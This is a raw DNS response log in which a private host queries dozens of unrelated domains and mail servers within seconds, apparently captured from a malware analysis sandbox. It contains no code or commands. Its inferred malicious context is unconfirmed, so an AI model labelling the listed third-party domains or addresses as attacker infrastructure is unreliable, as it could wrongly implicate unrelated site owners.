Mar 10, 2023 07:56:23.116662979 CET	8.8.8.8	192.168.2.6	0xde2b	Name error (3)	www.jroy.net	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:23.160042048 CET	8.8.8.8	192.168.2.6	0x687f	No error (0)	cpmteam.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:23.160042048 CET	8.8.8.8	192.168.2.6	0x687f	No error (0)	cpmteam.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:23.179404974 CET	8.8.8.8	192.168.2.6	0x2af	No error (0)	zemarmot.net		164.132.175.106	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:23.184439898 CET	8.8.8.8	192.168.2.6	0x8974	No error (0)	polprime.com		154.214.189.76	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:23.507551908 CET	8.8.8.8	192.168.2.6	0x855f	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.049429893 CET	8.8.8.8	192.168.2.6	0xafb7	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.180016994 CET	8.8.8.8	192.168.2.6	0x2e7a	No error (0)	themark.org		35.172.94.1	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.180016994 CET	8.8.8.8	192.168.2.6	0x2e7a	No error (0)	themark.org		100.24.208.97	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.213371038 CET	8.8.8.8	192.168.2.6	0xe72d	Name error (3)	agitz.com.br	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.248187065 CET	8.8.8.8	192.168.2.6	0x4580	No error (0)	gmail-smtp-in.l.google.com		142.250.27.26	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.273607016 CET	8.8.8.8	192.168.2.6	0x3478	No error (0)	scintel.com		23.239.201.14	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.278800964 CET	8.8.8.8	192.168.2.6	0x3b45	No error (0)	htsmx.net		63.251.106.25	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.279484987 CET	8.8.8.8	192.168.2.6	0xd25b	Name error (3)	89gospel.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.307145119 CET	8.8.8.8	192.168.2.6	0x96cd	No error (0)	ncn.de		46.30.60.158	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.310210943 CET	8.8.8.8	192.168.2.6	0x2bc0	No error (0)	leapc.com		35.231.13.148	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.320837021 CET	8.8.8.8	192.168.2.6	0x58b8	No error (0)	akdeniz.nl		109.71.54.22	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.423857927 CET	8.8.8.8	192.168.2.6	0xfa4e	Name error (3)	www.udesign.biz	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.432892084 CET	8.8.8.8	192.168.2.6	0xcacf	No error (0)	wantapc.net		157.7.107.49	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.454099894 CET	8.8.8.8	192.168.2.6	0x6e28	No error (0)	likangds.com		23.225.40.19	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.547101021 CET	8.8.8.8	192.168.2.6	0x2150	No error (0)	likangds.com		23.225.40.19	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.555994034 CET	8.8.8.8	192.168.2.6	0x855f	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.557612896 CET	8.8.8.8	192.168.2.6	0x17fc	Name error (3)	89gospel.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.557768106 CET	8.8.8.8	192.168.2.6	0x83d7	No error (0)	www.synetik.net	synetik.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:24.557768106 CET	8.8.8.8	192.168.2.6	0x83d7	No error (0)	synetik.net		193.166.255.171	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.572220087 CET	8.8.8.8	192.168.2.6	0xb93d	No error (0)	likangds.com		23.225.40.19	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.574763060 CET	8.8.8.8	192.168.2.6	0xf31c	No error (0)	dayvo.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.574763060 CET	8.8.8.8	192.168.2.6	0xf31c	No error (0)	dayvo.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.575592995 CET	8.8.8.8	192.168.2.6	0x10cb	Name error (3)	agitz.com.br	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.580055952 CET	8.8.8.8	192.168.2.6	0x780a	No error (0)	btsi.com.ph		69.46.30.77	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.608295918 CET	8.8.8.8	192.168.2.6	0xd1d1	No error (0)	tbvlugus.nl		174.129.25.170	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.612667084 CET	8.8.8.8	192.168.2.6	0x6122	Name error (3)	agitz.com.br	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.614763021 CET	8.8.8.8	192.168.2.6	0x1c67	No error (0)	aba.org.eg		192.169.149.78	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.625073910 CET	8.8.8.8	192.168.2.6	0xeef8	No error (0)	bidroll.com		13.56.33.8	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.646388054 CET	8.8.8.8	192.168.2.6	0x4242	Name error (3)	89gospel.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.665477037 CET	8.8.8.8	192.168.2.6	0x16e3	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.681463957 CET	8.8.8.8	192.168.2.6	0x7e9c	No error (0)	cyclad.pl		87.98.236.253	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.803077936 CET	8.8.8.8	192.168.2.6	0x405e	No error (0)	kumaden.com		49.212.180.178	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.850528955 CET	8.8.8.8	192.168.2.6	0x1ea6	No error (0)	wantapc.net		157.7.107.49	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.928152084 CET	8.8.8.8	192.168.2.6	0xdfa1	No error (0)	polprime.com		154.214.189.76	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.933713913 CET	8.8.8.8	192.168.2.6	0xf96	No error (0)	shenhgts.net		199.59.243.220	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.979207993 CET	8.8.8.8	192.168.2.6	0xe6db	No error (0)	jnf.at		136.243.147.81	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:25.037955999 CET	8.8.8.8	192.168.2.6	0xafb7	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:25.056859016 CET	8.8.8.8	192.168.2.6	0x74ae	No error (0)	t-trust.jp		183.181.82.14	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:25.119617939 CET	8.8.8.8	192.168.2.6	0x8b5f	No error (0)	cqdgroup.com		221.132.33.88	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:25.166291952 CET	8.8.8.8	192.168.2.6	0x2ae	No error (0)	vonparis.com		23.185.0.4	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:25.297451973 CET	8.8.8.8	192.168.2.6	0xc30e	No error (0)	e-kami.net		202.172.28.89	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:25.475838900 CET	8.8.8.8	192.168.2.6	0x208c	Name error (3)	www.medisa.info	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:25.594063997 CET	8.8.8.8	192.168.2.6	0x199c	No error (0)	unicus.jp		49.212.232.113	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:25.601695061 CET	8.8.8.8	192.168.2.6	0xcf27	Server failure (2)	webband.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:25.625407934 CET	8.8.8.8	192.168.2.6	0x792a	No error (0)	ikulani.com		157.7.107.88	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:25.680119991 CET	8.8.8.8	192.168.2.6	0xdecb	No error (0)	hamaker.net		34.102.136.180	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:25.793016911 CET	8.8.8.8	192.168.2.6	0x4057	No error (0)	karmy.com.pl		185.253.212.22	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:25.806752920 CET	8.8.8.8	192.168.2.6	0x5dc1	No error (0)	oozkranj.com		212.44.102.57	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:25.813465118 CET	8.8.8.8	192.168.2.6	0xed99	No error (0)	shanks.co.uk		217.19.254.22	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:25.825355053 CET	8.8.8.8	192.168.2.6	0xfe7	No error (0)	shanks.co.uk		217.19.254.22	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:25.851145983 CET	8.8.8.8	192.168.2.6	0xb948	No error (0)	hazmatt.com		205.178.189.131	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:25.877589941 CET	8.8.8.8	192.168.2.6	0x341e	No error (0)	willsub.com		69.89.107.122	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:25.894151926 CET	8.8.8.8	192.168.2.6	0x37a0	No error (0)	cjcagent.com		157.112.187.75	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:25.929096937 CET	8.8.8.8	192.168.2.6	0x461	No error (0)	scip.org.uk		104.26.12.244	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:25.929096937 CET	8.8.8.8	192.168.2.6	0x461	No error (0)	scip.org.uk		172.67.72.150	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:25.929096937 CET	8.8.8.8	192.168.2.6	0x461	No error (0)	scip.org.uk		104.26.13.244	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:25.937278986 CET	8.8.8.8	192.168.2.6	0xe52f	No error (0)	cyclad.pl		87.98.236.253	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:25.954612970 CET	8.8.8.8	192.168.2.6	0x7406	No error (0)	portoccd.org		51.89.6.56	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:25.973908901 CET	8.8.8.8	192.168.2.6	0xc4ee	No error (0)	amerifor.com		64.18.191.61	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:26.006217003 CET	8.8.8.8	192.168.2.6	0xfcb8	No error (0)	www.usadig.com		198.100.146.220	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:26.026856899 CET	8.8.8.8	192.168.2.6	0x5ea8	No error (0)	shanks.co.uk		217.19.254.22	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:26.093453884 CET	8.8.8.8	192.168.2.6	0xafb7	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:26.128726006 CET	8.8.8.8	192.168.2.6	0xc130	Name error (3)	agitz.com.br	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:26.142431021 CET	8.8.8.8	192.168.2.6	0x23ed	Server failure (2)	webband.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:26.148582935 CET	8.8.8.8	192.168.2.6	0x3b8a	Name error (3)	www.koz1.net	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:26.148792028 CET	8.8.8.8	192.168.2.6	0x7ff0	Name error (3)	agitz.com.br	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:26.173166990 CET	8.8.8.8	192.168.2.6	0xcab	Name error (3)	agitz.com.br	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:26.194951057 CET	8.8.8.8	192.168.2.6	0x75d4	No error (0)	uster.com		104.20.221.29	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:26.194951057 CET	8.8.8.8	192.168.2.6	0x75d4	No error (0)	uster.com		172.67.32.172	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:26.194951057 CET	8.8.8.8	192.168.2.6	0x75d4	No error (0)	uster.com		104.20.220.29	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:26.295221090 CET	8.8.8.8	192.168.2.6	0x7b07	No error (0)	pcoyuncu.com		213.142.131.159	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:26.429294109 CET	8.8.8.8	192.168.2.6	0x4ac5	No error (0)	uhsa.edu.ag		192.124.249.13	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:26.493678093 CET	8.8.8.8	192.168.2.6	0x5181	No error (0)	web-york.com		219.94.129.97	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:26.526760101 CET	8.8.8.8	192.168.2.6	0xc035	No error (0)	ludomemo.com		27.0.174.59	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:26.581844091 CET	8.8.8.8	192.168.2.6	0x1e13	Server failure (2)	webband.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:26.626153946 CET	8.8.8.8	192.168.2.6	0x855f	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:26.640418053 CET	8.8.8.8	192.168.2.6	0x1d9a	No error (0)	fogra.com.pl		85.128.55.51	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:26.651609898 CET	8.8.8.8	192.168.2.6	0x9365	No error (0)	dog-jog.net		153.122.24.177	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:26.662956953 CET	8.8.8.8	192.168.2.6	0x7d54	No error (0)	eos-i.com	macx1980.qy56.supcname.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:26.662956953 CET	8.8.8.8	192.168.2.6	0x7d54	No error (0)	macx1980.qy56.supcname.com	mfddos.datacname.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:26.662956953 CET	8.8.8.8	192.168.2.6	0x7d54	No error (0)	mfddos.datacname.com	15.204.18.132.datacname.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:26.662956953 CET	8.8.8.8	192.168.2.6	0x7d54	No error (0)	15.204.18.132.datacname.com		15.204.18.132	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:26.913438082 CET	8.8.8.8	192.168.2.6	0x2734	No error (0)	kallman.net		185.76.64.25	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:26.935708046 CET	8.8.8.8	192.168.2.6	0x6ff6	No error (0)	dayvo.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:26.935708046 CET	8.8.8.8	192.168.2.6	0x6ff6	No error (0)	dayvo.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:27.010088921 CET	8.8.8.8	192.168.2.6	0xe05a	No error (0)	e-kami.net		202.172.28.89	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:27.014682055 CET	8.8.8.8	192.168.2.6	0x224d	No error (0)	shanks.co.uk		217.19.254.22	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:27.048515081 CET	8.8.8.8	192.168.2.6	0xd793	No error (0)	tabbles.net		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:27.048515081 CET	8.8.8.8	192.168.2.6	0xd793	No error (0)	tabbles.net		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:27.093720913 CET	8.8.8.8	192.168.2.6	0xc87d	No error (0)	sgk.home.pl		89.161.136.188	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:27.105861902 CET	8.8.8.8	192.168.2.6	0x44b7	No error (0)	okashimo.com		203.137.75.45	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:27.156106949 CET	8.8.8.8	192.168.2.6	0x664e	No error (0)	fogra.com.pl		85.128.55.51	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:27.169507027 CET	8.8.8.8	192.168.2.6	0x9c72	No error (0)	dog-jog.net		153.122.24.177	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:27.223834038 CET	8.8.8.8	192.168.2.6	0x4b4b	No error (0)	envogen.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:27.223834038 CET	8.8.8.8	192.168.2.6	0x4b4b	No error (0)	envogen.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:27.272670984 CET	8.8.8.8	192.168.2.6	0x8604	No error (0)	nettlinx.org		202.53.77.146	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:27.526751995 CET	8.8.8.8	192.168.2.6	0xdda5	Name error (3)	toundo.net	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:27.526787996 CET	8.8.8.8	192.168.2.6	0x8729	No error (0)	riwn.org		198.49.23.145	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:27.526787996 CET	8.8.8.8	192.168.2.6	0x8729	No error (0)	riwn.org		198.185.159.145	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:27.526787996 CET	8.8.8.8	192.168.2.6	0x8729	No error (0)	riwn.org		198.49.23.144	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:27.526787996 CET	8.8.8.8	192.168.2.6	0x8729	No error (0)	riwn.org		198.185.159.144	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:27.545732021 CET	8.8.8.8	192.168.2.6	0xce35	No error (0)	camamat.com		104.21.235.32	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:27.545732021 CET	8.8.8.8	192.168.2.6	0xce35	No error (0)	camamat.com		104.21.235.31	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:27.617867947 CET	8.8.8.8	192.168.2.6	0x1397	No error (0)	forbin.net		104.21.41.152	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:27.617867947 CET	8.8.8.8	192.168.2.6	0x1397	No error (0)	forbin.net		172.67.148.35	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:27.631083012 CET	8.8.8.8	192.168.2.6	0xab11	No error (0)	smitko.net		31.15.12.103	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:27.692864895 CET	8.8.8.8	192.168.2.6	0xbd74	No error (0)	usadig.com		198.100.146.220	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:27.713696003 CET	8.8.8.8	192.168.2.6	0x7d23	No error (0)	nrsi.com		76.223.35.103	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:27.716090918 CET	8.8.8.8	192.168.2.6	0x1833	No error (0)	daytonir.com		104.18.40.43	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:27.716090918 CET	8.8.8.8	192.168.2.6	0x1833	No error (0)	daytonir.com		172.64.147.213	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:27.765243053 CET	8.8.8.8	192.168.2.6	0x96d0	No error (0)	reproar.com		194.143.194.23	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:27.816111088 CET	8.8.8.8	192.168.2.6	0x316e	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:27.846214056 CET	8.8.8.8	192.168.2.6	0xabf5	No error (0)	willsub.com		69.89.107.122	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:27.875962019 CET	8.8.8.8	192.168.2.6	0xeca5	No error (0)	dwid.de		87.230.93.218	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:27.888900995 CET	8.8.8.8	192.168.2.6	0x9896	No error (0)	a-domani.com		183.90.232.24	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:27.976882935 CET	8.8.8.8	192.168.2.6	0xba0	No error (0)	host.do		217.79.248.38	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:27.983720064 CET	8.8.8.8	192.168.2.6	0xa7d6	No error (0)	tabbles.net		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:27.983720064 CET	8.8.8.8	192.168.2.6	0xa7d6	No error (0)	tabbles.net		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:28.135701895 CET	8.8.8.8	192.168.2.6	0x5e28	No error (0)	www.wnsavoy.com		96.91.204.114	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:28.223299980 CET	8.8.8.8	192.168.2.6	0x4d2	No error (0)	cbras.com		54.39.198.18	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:28.252620935 CET	8.8.8.8	192.168.2.6	0x3617	No error (0)	cbras.com		54.39.198.18	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:28.252688885 CET	8.8.8.8	192.168.2.6	0xa3f3	No error (0)	aba.org.eg		192.169.149.78	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:28.253326893 CET	8.8.8.8	192.168.2.6	0x5f8e	No error (0)	banvari.com		23.227.38.32	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:28.290728092 CET	8.8.8.8	192.168.2.6	0xe513	No error (0)	rtcasey.com		69.195.90.46	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:28.387520075 CET	8.8.8.8	192.168.2.6	0x3c90	No error (0)	dog-jog.net		153.122.24.177	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:28.419028044 CET	8.8.8.8	192.168.2.6	0xf15	No error (0)	zemarmot.net		164.132.175.106	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:28.635447979 CET	8.8.8.8	192.168.2.6	0xef4a	No error (0)	scintel.com		23.239.201.14	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:28.665755987 CET	8.8.8.8	192.168.2.6	0x5461	No error (0)	mcseurope.nl		46.19.218.80	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:28.673624039 CET	8.8.8.8	192.168.2.6	0xca88	No error (0)	mkm-gr.com		79.124.76.247	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:28.674199104 CET	8.8.8.8	192.168.2.6	0xd2fa	No error (0)	arowines.com		104.164.117.233	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:28.694530010 CET	8.8.8.8	192.168.2.6	0xc37d	No error (0)	www.ex-olive.com		210.140.73.39	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:28.720962048 CET	8.8.8.8	192.168.2.6	0x7672	No error (0)	dog-jog.net		153.122.24.177	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:28.763057947 CET	8.8.8.8	192.168.2.6	0x219	No error (0)	siongann.com		104.21.8.75	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:28.763057947 CET	8.8.8.8	192.168.2.6	0x219	No error (0)	siongann.com		172.67.156.237	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:28.784583092 CET	8.8.8.8	192.168.2.6	0x378c	No error (0)	esmoke.net		204.15.134.44	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:29.097659111 CET	8.8.8.8	192.168.2.6	0xcf77	No error (0)	camamat.com		104.21.235.32	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:29.097659111 CET	8.8.8.8	192.168.2.6	0xcf77	No error (0)	camamat.com		104.21.235.31	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:29.188961029 CET	8.8.8.8	192.168.2.6	0xafb7	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:29.206087112 CET	8.8.8.8	192.168.2.6	0xd9a9	No error (0)	bount.com.tw		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:29.206087112 CET	8.8.8.8	192.168.2.6	0xd9a9	No error (0)	bount.com.tw		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:29.251842022 CET	8.8.8.8	192.168.2.6	0x316e	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:29.259707928 CET	8.8.8.8	192.168.2.6	0x541d	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:29.331815958 CET	8.8.8.8	192.168.2.6	0xe686	No error (0)	onzcda.com		35.186.238.101	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:29.400629997 CET	8.8.8.8	192.168.2.6	0x911a	No error (0)	k-nikko.com		18.177.67.59	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:29.424470901 CET	8.8.8.8	192.168.2.6	0x1469	No error (0)	sidepath.com		75.2.70.75	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:29.424470901 CET	8.8.8.8	192.168.2.6	0x1469	No error (0)	sidepath.com		34.193.204.92	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:29.424470901 CET	8.8.8.8	192.168.2.6	0x1469	No error (0)	sidepath.com		34.193.69.252	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:29.424470901 CET	8.8.8.8	192.168.2.6	0x1469	No error (0)	sidepath.com		99.83.190.102	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:29.440807104 CET	8.8.8.8	192.168.2.6	0x93d2	No error (0)	mijash3.com		198.49.23.145	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:29.440807104 CET	8.8.8.8	192.168.2.6	0x93d2	No error (0)	mijash3.com		198.185.159.145	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:29.440807104 CET	8.8.8.8	192.168.2.6	0x93d2	No error (0)	mijash3.com		198.185.159.144	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:29.440807104 CET	8.8.8.8	192.168.2.6	0x93d2	No error (0)	mijash3.com		198.49.23.144	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:29.480173111 CET	8.8.8.8	192.168.2.6	0x195f	No error (0)	cjborden.com		15.197.142.173	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:29.480173111 CET	8.8.8.8	192.168.2.6	0x195f	No error (0)	cjborden.com		3.33.152.147	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:29.641010046 CET	8.8.8.8	192.168.2.6	0xca9e	No error (0)	fortknox.bm		216.177.137.32	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:29.672629118 CET	8.8.8.8	192.168.2.6	0x1d57	No error (0)	wanoa.com		159.89.244.183	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:29.672629118 CET	8.8.8.8	192.168.2.6	0x1d57	No error (0)	wanoa.com		164.90.244.158	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:29.691354990 CET	8.8.8.8	192.168.2.6	0x375c	No error (0)	yasuma.com		61.200.81.23	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:29.897917032 CET	8.8.8.8	192.168.2.6	0xe804	No error (0)	scip.org.uk		104.26.13.244	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:29.897917032 CET	8.8.8.8	192.168.2.6	0xe804	No error (0)	scip.org.uk		172.67.72.150	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:29.897917032 CET	8.8.8.8	192.168.2.6	0xe804	No error (0)	scip.org.uk		104.26.12.244	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:29.933381081 CET	8.8.8.8	192.168.2.6	0x4962	No error (0)	revoldia.net		45.200.235.135	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:29.934969902 CET	8.8.8.8	192.168.2.6	0x2f07	No error (0)	jsaps.com		49.212.235.59	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:29.936502934 CET	8.8.8.8	192.168.2.6	0x40e8	No error (0)	smtp.compuserve.com	east.us.smtp.aol.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:29.936502934 CET	8.8.8.8	192.168.2.6	0x40e8	No error (0)	east.us.smtp.aol.com	smtp.aol.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:29.936502934 CET	8.8.8.8	192.168.2.6	0x40e8	No error (0)	smtp.aol.com	smtp.cs.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:29.936502934 CET	8.8.8.8	192.168.2.6	0x40e8	No error (0)	smtp.cs.com	smtp.aol.g03.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:29.936502934 CET	8.8.8.8	192.168.2.6	0x40e8	No error (0)	smtp.aol.g03.yahoodns.net		87.248.97.31	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:29.953948021 CET	8.8.8.8	192.168.2.6	0x9d4f	No error (0)	ntc.edu.au		192.124.249.15	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:30.030227900 CET	8.8.8.8	192.168.2.6	0x2929	No error (0)	cubodown.com		104.21.30.14	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:30.030227900 CET	8.8.8.8	192.168.2.6	0x2929	No error (0)	cubodown.com		172.67.150.50	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:30.060710907 CET	8.8.8.8	192.168.2.6	0xa178	No error (0)	redgiga.com		172.67.186.153	A (IP address)	IN (0x0001)	false
